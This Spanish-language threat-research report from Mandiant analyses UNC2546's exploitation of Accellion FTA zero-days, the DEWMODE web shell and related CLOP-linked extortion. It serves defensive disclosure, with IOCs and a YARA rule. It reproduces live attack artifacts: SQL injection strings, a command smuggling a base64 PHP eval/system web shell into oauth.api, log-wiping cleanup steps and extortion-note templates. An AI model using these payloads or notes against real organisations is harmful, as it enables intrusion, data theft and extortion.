Investigación de amenazas

Los ciberdelincuentes explotan Accellion FTA para robar datos y extorsionar

Andrew Moore, Genevieve Stark, Isif Ibrahima, Van Ta, Kimberly Goody
Feb 22, 2021
13 min read
|   Last update Sep 28, 2022
Ransomware
Threat Research
Uncategorized Groups (UNC Groups)

A partir de mediados de diciembre de 2020, los actores maliciosos que Mandiant rastrea como UNC2546 explotaron múltiples vulnerabilidades de día cero de las versiones heredadas de File Transfer Appliance (FTA) de Accellion para instalar un web shell recién descubierto llamado DEWMODE. La intención de UNC2546 no fue evidente de inmediato, pero a partir de finales de enero de 2021, varias organizaciones que habían sido afectadas por UNC2546 en el mes anterior comenzaron a recibir correos electrónicos de extorsión de actores que amenazaban con publicar los datos robados en el sitio web “CL0P^_- LEAKS\ .onion. Algunos de los datos publicados de las víctimas parecen haber sido robados utilizando el web shell DEWMODE.

El número de víctimas del sitio web de humillación “CL0P^_- LEAKS” ha aumentado en febrero de 2021, ya que estos actores de amenazas han puesto en evidencia a organizaciones en los Estados Unidos, Singapur, Canadá y los Países Bajos. Mandiant informó anteriormente que FIN11 ha amenazado con publicar los datos robados de las víctimas en el mismo sitio .onion como una táctica adicional para ejercer presión sobre ellas con el fin de que paguen sus exigencias de extorsión tras la implementación del ransomware CLOP. Sin embargo, en los recientes incidentes de extorsión de CLOP, no se implementó ningún ransomware ni se presentaron las otras características de FIN11.

Actualmente, estamos rastreando la explotación de las vulnerabilidades de día cero de Accellion FTA y el robo de datos de empresas que ejecutan la versión heredada del producto FTA como UNC2546 y la posterior actividad de extorsión como UNC2582. Hemos identificado coincidencias entre UNC2582, UNC2546 y operaciones anteriores de FIN11, y continuaremos evaluando las relaciones entre estos grupos de actividad. Para obtener más información sobre el uso de las denominaciones “UNC”, consulte la entrada de nuestro blog “DenUNCiar la atribución: cómo Mandiant rastrea a los actores no categorizados”.

Mandiant ha estado trabajando de cerca con Accellion en respuesta a este tema y, en las próximas semanas, elaborará un informe completo de evaluación de la seguridad. Actualmente, Accellion tiene parcheados todos los puntos vulnerables de la FTA que se sabe son explotados por los actores y agregó nuevas capacidades de monitoreo y alerta para identificar las anomalías asociadas con estos vectores de ataque. Mandiant ha validado estos parches. Mandiant se encuentra realizando pruebas de penetración y revisión de código de la versión actual del producto Accellion FTA y, hasta la fecha, no se han encontrado otras vulnerabilidades críticas en el producto FTA según nuestro análisis. Los clientes de Accellion que utilizan el producto heredado FTA fueron víctimas del ataque.

El Accellion FTA es un producto que tiene 20 años de antigüedad y está a punto de terminar su vida útil. Accellion recomienda encarecidamente que los clientes de FTA migren a kiteworks, la plataforma de firewall de contenido empresarial de Accellion. Kiteworks de Accellion está desarrollado sobre una base de código totalmente diferente.

Desde entonces, se reservaron los siguientes CVE para el seguimiento de vulnerabilidades recientemente parcheadas de Accellion FTA:

  • CVE-2021-27101 - inyección SQL a través de un encabezado del Host elaborado
  • CVE-2021-27102 - ejecución de comandos del sistema operativo a través de una llamada de servicio web local
  • CVE-2021-27103 - SSRF a través de una solicitud POST elaborada
  • CVE-2021-27104 - ejecución de comandos del sistema operativo a través de una solicitud POST elaborada

UNC2546 y DEWMODE

A mediados de diciembre de 2020, Mandiant respondió a distintos incidentes en los que se utilizó un web shell que llamamos DEWMODE para exfiltrar datos de los dispositivos Accellion FTA. El dispositivo de Accellion FTA es una aplicación específicamente diseñada para que una empresa pueda transferir de forma segura archivos de gran tamaño. La actividad de exfiltración afectó a entidades de una gran variedad de industrias y países.

Durante estos incidentes, Mandiant observó un uso común de la infraestructura y de las TTP, que incluye la explotación de dispositivos FTA para implementar el web shell DEWMODE. Mandiant determinó que un actor común que estamos rastreando con el nombre de UNC2546 era el responsable de esta actividad. Si bien los detalles completos de las vulnerabilidades utilizadas para instalar DEWMODE todavía se están analizando, las pruebas de las investigaciones de varios clientes demuestran que las actividades de UNC2546 tienen muchos puntos en común.

Pruebas de explotación e instalación de DEWMODE

Mandiant logró reconstruir muchos de los detalles sobre la forma en que los FTA de Accellion se vieron comprometidos examinando los registros de Apache y del sistema de los dispositivos afectados, desde la amenaza inicial hasta la implementación de DEWMODE y su posterior interacción.

La detección más temprana de actividad asociada a esta campaña se produjo a mediados de diciembre de 2020. Actualmente, Mandiant detectó que UNC2546 aprovecha una vulnerabilidad de inyección SQL en Accellion FTA. Esta inyección SQL sirvió como principal vector de intrusión.

Mandiant observó pruebas de inyección SQL seguidas de solicitudes posteriores a recursos adicionales, como se muestra en la Figura 1.

[.'))union(select(c_value)from(t_global)where(t_global.c_param)=('w1'))#/sid#935ee00][rid#9700968/initial] (1) pass through /courier/document_root.html

['))union(select(loc_id)from(net1.servers)where(proximity)=(0))#/sid#935ee00][rid#9706978/initial] (1) pass through /courier/document_root.html

[.'))union(select(reverse(c_value))from(t_global)where(t_global.c_param)=('w1'))#/sid#935ee00][rid#971c098/initial] (1) pass through /courier/document_root.html

[<redacted>/sid#935ee00][rid#971a090/initial] (1) pass through /courier/sftp_account_edit.php

[<redacted>/sid#935ee00][rid#9706978/initial] (1) pass through /courier/oauth.api

[<redacted>/sid#935ee00][rid#9708980/initial] (1) pass through /courier/oauth.api

 

Figura 1: Registro de inyecciones SQL

UNC2546 aprovechó esta vulnerabilidad de inyección SQL para conseguir una clave que parece ser utilizada junto con una solicitud al archivo sftp_account_edit.php. Inmediatamente después de esta solicitud, se ejecutó la utilidad incorporada de Accellion admin.pl, lo que dio como resultado un web shell de evaluación escrita en oauth.api.

PWD=/home/seos/courier ; USER=root ; COMMAND=/usr/local/bin/admin.pl --edit_user=F
--mount_cifs=-
V,DF,$(echo${IFS}PD9waHAKCmlmKGlzc2V0KCRfUkVRVUVTVFsndG9rZW4nXSkpCnsKICAgIGV2YWwoYm
FzZTY0X2RlY29kZSgkX1JFUVVFU1RbJ3Rva2VuJ10pKTsKfQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsnd
XNlcm5hbWUnXSkpCnsKICAgIHN5c3RlbSgkX1JFUVVFU1RbJ3VzZXJuYW1lJ10pOwp9CmVsc2UKewogICAgaG
VhZGVyKCdMb2NhdGlvbjogLycpOwp9|base64${IFS}-d|tee${IFS}/home/seos/courier/oauth.api);FUK;",PASSWORD # \" --passwd=pop

Figura 2: Extracto del registro que muestra la creación del web shell de evaluación

El contenido decodificado se muestra en la Figura 3.

<?php

if(isset($_REQUEST['token']))
{
    eval(base64_decode($_REQUEST['token']));
}
else if(isset($_REQUEST['username']))
{
    system($_REQUEST['username']);
}
else
{
    header('Location: /');
}

Figura 3: Web shell de evaluación decodificada

Casi inmediatamente después de esta secuencia se escribe el web shell DEWMODE en el sistema. La cronología de estas solicitudes apunta a que DEWMODE llegó a través del web shell oauth.api; sin embargo, las pruebas disponibles no indican el mecanismo exacto utilizado para escribir DEWMODE en el disco.

Mandiant identificó el web shell de DEWMODE en una de las dos ubicaciones siguientes:

  • /home/seos/courier/about.html
  • /home/httpd/html/about.html

El web shell de DEWMODE (Figura 4) extrae una lista de archivos disponibles de una base de datos MySQL en el FTA y enumera esos archivos y sus metadatos correspondientes, identificación del archivo, ruta, nombre del archivo, persona que lo cargó y destinatario, en una página HTML. A continuación, UNC2546 utiliza la lista presentada para descargar archivos a través del web shell de DEWMODE. Las solicitudes de descarga quedan registradas en los registros web de la FTA, que contendrán solicitudes al web shell de DEWMODE con parámetros de URL encriptados y codificados, en los que “dwn” es la ruta del archivo y “fn” es el nombre del archivo solicitado (Figura 5). Los valores de la ruta y el nombre de los archivos encriptados visibles en los registros de la web pueden decodificarse utilizando material clave obtenido de la base de datos utilizada por la FTA objetivo. Dada la naturaleza compleja de este proceso, si su organización necesita ayuda para revisar los registros importantes, comuníquese con Mandiant o Accellion.

DEWMODE web shell screenshot
Figura 4: Captura de pantalla del web shell de DEWMODEGET
GET /courier/about.html?dwn=[REDACTED]&fn=[REDACTED] HTTP/1.1\ 200 1098240863 \-\ \-\ \-\ TLSv1.2 ECDHE-RSA-AES128-SHA256

Figura 5: Parámetros de la URL de descarga de archivos DEWMODE

Tras la descarga de archivos, UNC2546 inicia una rutina de limpieza transmitiendo un parámetro de consulta específico llamado csrftoken con el valor 11454bd782bb41db213d415e10a0fb3c a DEWMODE. Se realizan las siguientes acciones:

  • Se escribe una secuencia de comandos en /tmp/.scr que:
    • Elimina todas las referencias a about.html de los archivos de registro ubicados en /var/opt/apache/
    • Escribe el archivo de registro modificado en /tmp/x y luego reemplaza el archivo de registro original en /var/opt/apache/
    • Borra el contenido del archivo de registro /home/seos/log/adminpl.log
    • Elimina /home/seos/courier/about.html (DEWMODE) y /home/seos/courier/oauth.api (web shell de evaluación) y redirecciona la salida del comando al archivo /tmp/.out
    • Cambia los permisos del archivo de salida para que sea legible, escribible y ejecutable por todos los usuarios y establece como propietario a “nadie”
  • Elimina el archivo de script /tmp/.scr y otros archivos creados temporalmente para facilitar la limpieza
  • Muestra el resultado de la limpieza al usuario solicitante

En la Figura 6, se muestra un ejemplo de solicitud de limpieza y la posterior ejecución del script de limpieza.

GET /courier/about.html?csrftoken=11454bd782bb41db213d415e10a0fb3c HTTP/1.1" 200 5 "-" "https://[REDACTED]//courier/about.html?aid=1000" "Mozilla/5.0 (X11; Linux x86_64; rv:82.0) Gecko/20100101

sft sudo:   nobody : TTY=unknown ; PWD=/home/seos/courier ; USER=root ; COMMAND=/usr/local/bin/admin.pl --mount_cifs=AF,DF,'$(sh /tmp/.scr)',PASSWORD

Figura 6: Solicitud de limpieza de DEWMODE

Mandiant también detectó una variante de DEWMODE (bdfd11b1b092b7c61ce5f02ffc5ad55a) que contenía cambios menores en la operación de limpieza, como el borrado de /var/log/secure y la eliminación de about.html y oauth.api de los directorios /home/httpd/html/ en lugar de /home/seos/courier/.

En un subconjunto de incidentes, Mandiant observó que UNC2546 solicitaba un archivo llamado cache.js.gz (Figura 7). Según el acceso temporal a la utilidad mysqldump y a los directorios de datos de mysql, el archivo probablemente contenía un volcado de la base de datos. A excepción de cache.js.gz, Mandiant no encontró que UNC2546 adquiriera archivos de los dispositivos Accellion a través de ningún otro método que no fuera DEWMODE.

GET //courier/cache.js.gz HTTP/1.1" 200 35654360 "-" "-" "python-requests/2.24.0" TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256

Figura 7: solicitud del archivo cache.js.gz

Extorsión por robo de datos de UNC2582

Poco después de instalar el web shell, en varios casos y en cuestión de horas, UNC2546 aprovechó DEWMODE para descargar archivos de las instancias FTA comprometidas. Aunque la motivación de los actores no fue clara de inmediato, varias semanas después de haber enviado el web shell de DEWMODE, las víctimas comenzaron a recibir correos electrónicos de extorsión de un agente que afirmaba estar asociado con el equipo del ransomware CLOP (Figura 8 y Figura 9). Los actores amenazaban con publicar los datos en el sitio web de humillación \CL0P^_- LEAKS .onion a menos que la víctima pagara el monto de la extorsión. Estamos siguiendo la actividad de extorsión subsiguiente bajo un clúster de amenazas separado, UNC2582. A pesar de rastrear la actividad de explotación y extorsión en clústeres de amenazas separados, observamos al menos un caso en el que un actor interactuó con un web shell de DEWMODE desde un host que se utilizó para enviar un correo electrónico de extorsión atribuido a UNC2582.

¡Hola!

Su red ha sido hackeada y se ha robado una gran cantidad de datos valiosos. Somos el equipo de CLOP ransomware, puedes buscar en Google noticias y artículos sobre nosotros. Tenemos un sitio web en el que publicamos noticias y archivos robados de empresas que se negaron a cooperar. Esta es la dirección http://[redacted].onion/, utilice el navegador TOR o el espejo http://[redacted].onion.dog/. Recibimos la visita de entre 20 y 30 mil periodistas expertos en informática, hackers y competidores al día. Le sugerimos que se comunique con nosotros a través del chat dentro de las 24 horas para analizar su situación actual. , utilice el navegador TOR No queremos hacer daño, nuestro objetivo es el dinero. También estamos dispuestos a presentar cualquier prueba que demuestre que tenemos sus archivos.

Figura 8: Plantilla de nota de extorsión 1

¡Esta es la última advertencia!

Si no se pone en contacto hoy, mañana crearemos una página con capturas de pantalla de sus archivos (como las otras que están en nuestro sitio) y enviaremos mensajes a todos los correos electrónicos que hayamos recibido de sus archivos. Dado que los periodistas y hackers visitan nuestro sitio, las llamadas y preguntas comenzarán inmediatamente a publicar información sobre la filtración y se le pedirá una explicación.

¡No permita que esto ocurra, escríbanos en el chat o por correo electrónico y analizaremos su situación!

CHAT:

CORREO ELECTRÓNICO: [email protected]

¡UTILICE EL NAVEGADOR TOR!

Figura 9: Plantilla de nota de extorsión 2

Según lo observado en distintos ataques, UNC2582 parece seguir un patrón de escalada para presionar a las víctimas para que paguen las demandas de extorsión. Los correos electrónicos iniciales se envían desde una cuenta de correo electrónico gratuita, probablemente única por víctima, a una distribución aparentemente limitada de direcciones dentro de la organización víctima. Si la víctima no responde a tiempo, se envían correos electrónicos adicionales a una cantidad superior de destinatarios desde cientos o miles de cuentas de correo electrónico diferentes y utilizando una infraestructura SMTP variada. En al menos un caso, UNC2582 también envió correos electrónicos a socios de la organización víctima que incluían enlaces a los datos robados y al chat de negociación. El monitoreo del sitio web de humillación CL0P^_- LEAKS ha demostrado que UNC2582 cumplió con sus amenazas de publicar los datos robados, ya que en las últimas semanas aparecieron varias víctimas nuevas en el sitio, incluida al menos una organización que confirmó públicamente que su dispositivo Accellion FTA había sido atacado recientemente.

Superposiciones clave con FIN11

UNC2582 (extorsión) y FIN11

Mandiant detectó superposiciones entre la actividad de extorsión por robo de datos de UNC2582 y operaciones anteriores de FIN11, incluidos los remitentes de correo electrónico comunes y el uso del sitio de humillación CL0P^_- LEAKS. Aunque FIN11 es conocido por instalar el ransomware CLOP, ya habíamos observado anteriormente que el grupo realizaba extorsiones de robo de datos sin instalar ransomware, de manera similar a estos casos.

  • Algunos correos electrónicos de extorsión de UNC2582 observados en enero de 2021 fueron enviados desde direcciones IP o cuentas de correo electrónico utilizadas por FIN11 en distintas campañas de phishing entre agosto y diciembre de 2020, incluidas algunas de las más recientes, sin dudas atribuibles al grupo.
  • No se observó actividad de phishing FIN11 en el nuevo año. FIN11 suele hacer una pausa en sus operaciones de phishing durante las vacaciones de invierno y tuvo varias brechas prolongadas en sus operaciones. Sin embargo, el momento de este paro actual también es coherente con la actividad de extorsión por robo de datos de UNC2582.
  • Los correos electrónicos de extorsión de UNC2582 contenían un enlace al sitio web de CL0P^_- LEAKS o una página de negociación específica para la víctima. Los sitios web enlazados eran los mismos que se utilizaban para financiar las operaciones históricas de CLOP, una serie de campañas de extorsión de ransomware y robo de datos que sospechamos que pueden atribuirse exclusivamente a FIN11.

UNC2546 (explotación FTA y DEWMODE) y FIN11

También hay superposiciones limitadas entre FIN11 y UNC2546.

  • Muchas de las organizaciones amenazadas por UNC2546 ya habían sido víctimas de FIN11.
  • Una dirección IP que se comunicaba con un web shell de DEWMODE estaba en el netblock de \Fortunix Networks L.P.\, una red que FIN11 suele utilizar para alojar dominios de descarga y comando y control (C2) de FRIENDSPEAK.

Implicaciones

Las superposiciones entre FIN11, UNC2546 y UNC2582 son convincentes, pero seguimos rastreando estos clústeres por separado mientras evaluamos la naturaleza de sus relaciones. Uno de los desafíos específicos es que el alcance de las superposiciones con FIN11 se limita a las últimas etapas del ciclo de vida del ataque. UNC2546 utiliza un vector de infección y un punto de apoyo distintos y, a diferencia de FIN11, no se ha observado que los atacantes amplíen su presencia en las redes afectadas. Por lo tanto, no tenemos pruebas suficientes para atribuir a FIN11 la explotación de FTA de DEWMODE o la actividad de extorsión por robo de datos. Utilizar la inyección SQL para implementar DEWMODE o adquirir acceso a un shell de DEWMODE de un actor independiente representaría un cambio significativo en las TTP de FIN11, ya que el grupo ha recurrido tradicionalmente a las campañas de phishing como su vector de infección inicial y no se ha observado hasta ahora que utilice vulnerabilidades de día cero.

Reconocimientos

David Wong, Brandon Walters, Stephen Eckels y Jon Erickson

Indicadores de compromiso (Indicators of Compromise, IOC)

Web shells de DEWMODE

MD5

SHA256

2798c0e836b907e8224520e7e6e4bb42

5fa2b9546770241da7305356d6427847598288290866837626f621d794692c1b

bdfd11b1b092b7c61ce5f02ffc5ad55a

2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7

Direcciones IP de origen de UNC2546

Las siguientes direcciones IP de origen se observaron en varias intrusiones de UNC2546:

  • 45.135.229.179
  • 79.141.162.82
  • 155.94.160.40
  • 192.154.253.120
  • 192.52.167.101
  • 194.88.104.24

Detecciones

Detecciones de FireEye

  • FE_Webshell_PHP_DEWMODE_1
  • FEC_Webshell_PHP_DEWMODE_1
  • Webshell.PHP.DEWMODE

Mandiant Security Validation

  • Transferencia de archivos maliciosos A101-515: variante de carga del web shell DEWMODE N.º 1
  • Transferencia de archivos maliciosos A101-516: variante de carga del web shell DEWMODE N.º 2

Regla YARA de DEWMODE

La siguiente regla YARA no está diseñada para ser utilizada en sistemas de producción o para informar reglas de bloqueo sin haber sido validadas primero a través de los propios procesos de prueba internos de una organización para asegurar un desempeño apropiado y limitar el riesgo de falsos positivos. Esta regla tiene como objetivo servir como punto de partida para los esfuerzos de caza con el fin de detectar las cargas útiles DEWMODE; sin embargo, puede ser necesario modificarla con el tiempo si la familia de malware cambia.

rule DEWMODE_PHP_Webshell
{
    strings:
        $s1 = /if \(isset\(\$_REQUEST\[[\x22\x27]dwn[\x22\x27]]\)[\x09\x20]{0,32}&&[\x09\x20]{0,32}isset\(\$_REQUEST\[[\x22\x27]fn[\x22\x27]\]\)\)\s{0,256}\{/
        $s2 = "<th>file_id</th>"
        $s3 = "<th>path</th>"
        $s4 = "<th>file_name</th>"
        $s5 = "<th>uploaded_by</th>"
        $s6 = "target=\\\"_blank\\\">Download</a></td>"
        $s7 = "Content-Type: application/octet-stream"
        $s8 = "Content-disposition: attachment; filename="
    condition:
        all of them
}